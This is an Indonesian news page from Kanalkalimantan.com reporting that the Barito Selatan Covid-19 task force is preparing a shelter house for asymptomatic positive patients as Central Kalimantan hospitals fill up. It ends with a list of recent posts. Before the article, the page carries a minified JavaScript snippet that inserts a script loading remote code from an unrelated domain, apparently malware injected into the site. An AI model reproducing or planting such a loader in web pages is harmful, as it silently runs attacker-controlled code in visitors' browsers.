(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab Barsel Siapkan Rumah Singgah Pasien Positif Covid-19


KANALKALIMANTAN.COM, BUNTOK – Tim Gugus Tugas Penanganan Percepatan Covid-19 Kabupaten Barsel menggelar Rapat Kordinasi (Rakor) terkait rencana rumah singgah pasien Covid-19 di aula Setda Barsel.

Ketua Gugus Tugas Covid-19 Barsel Eddy Purwanto mengatakan, pihaknya menggelar Rakor berkenaan dengan pembuatan rumah singgah bagi pasien positif berdasarkan hasil swab.

“Jadi rumah singgah ini rencananya dipergunakan sebagai tempat penanganan pasien yang memang positif corona berdasarkan hasil swab,” kata Eddy kepada Kanalkalimantan.com, Kamis (23/7/2020) pagi.

Baca juga: ‘Sakit Kepala’ Petarung Independen di Pilkada 2020, Calon Parpol Mulai Lobi Limpahan Suara!

Ia mengatakan,berdasarkan informasi pembuatan rumah singgah ini sekaligus membantu pihak Provinsi Kalteng dalam penanganan Covid-19.  Karena saat ini kapasitas RS Doris Sylvanus Palangakaraya, RS Bhayangkara, RS TNI Angkatan Darat sudah tidak memenuhi kapasitas dalam menampung pasien Covid-19.

“Saat ini untuk pasien covid sendiri terus bertambah, makanya berdasarkan hasil vidcon bersama Menteri Dalam Negeri dan Gubernur Kalteng, pemerintah daerah disarankan membantu dapat menangani pasien Covid-19,” jelas Eddy.

Rumah singgah sendiri nantinya ditujukan kepada pasien yang positif Covid-19, namun tanpa gejala, sehingga saat dikarantina nanti bisa dilakukan penanganan secara prioritas.

Baca juga: Sikapi Perpres Jokowi, GTPP Kalsel: Kami Masih Bekerja dan Tunggu Arahan

“Sehingga saat kita tangani kita bisa melakukan pengawasan dan penanganan secara langsung, lain hal kalau mereka dilakukan isolasi secara mandiri kita tidak bisa menjamin kesadaran mereka dalam mentaati aturan secara pasti,” ujar Eddy.

Ditambahkan olehnya, Gugus Tugas Covid-19 Barsel siap mendukung Pemerintah Provinsi Provinsi Kalteng, apa bila diminta dalam membantu menangani covid-19 ini.

“Yang pasti hingga saat ini kita masih menunggu apa bila di ijinkan Balai UPT BLK Provinsi yang ada di Barsel, sebagai tempat rumah singgah nantinya dalam menangani pasien covid-19 ini,” pungkas Eddy. (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie

Al Ghifari

Recent Posts

Resmi Mulai Berlaku, Ini Tarif Baru Pembuatan Paspor

KANALKALIMANTAN.COM, JAKARTA - Pemerintah secara resmi menetapkan tarif baru untuk biaya pembuatan paspor yang mulai… Read More

9 jam ago

21 Lansia Ikuti Wisuda Sekolah Lansia di Kabupaten Balangan

KANALKALIMANTAN. COM, PARINGIN - Sebanyak 21 Lansia terdiri 19 wisudawati dan dua wisudawan, mengikuti wisuda… Read More

10 jam ago

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

16 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

18 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

19 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

19 jam ago

This website uses cookies.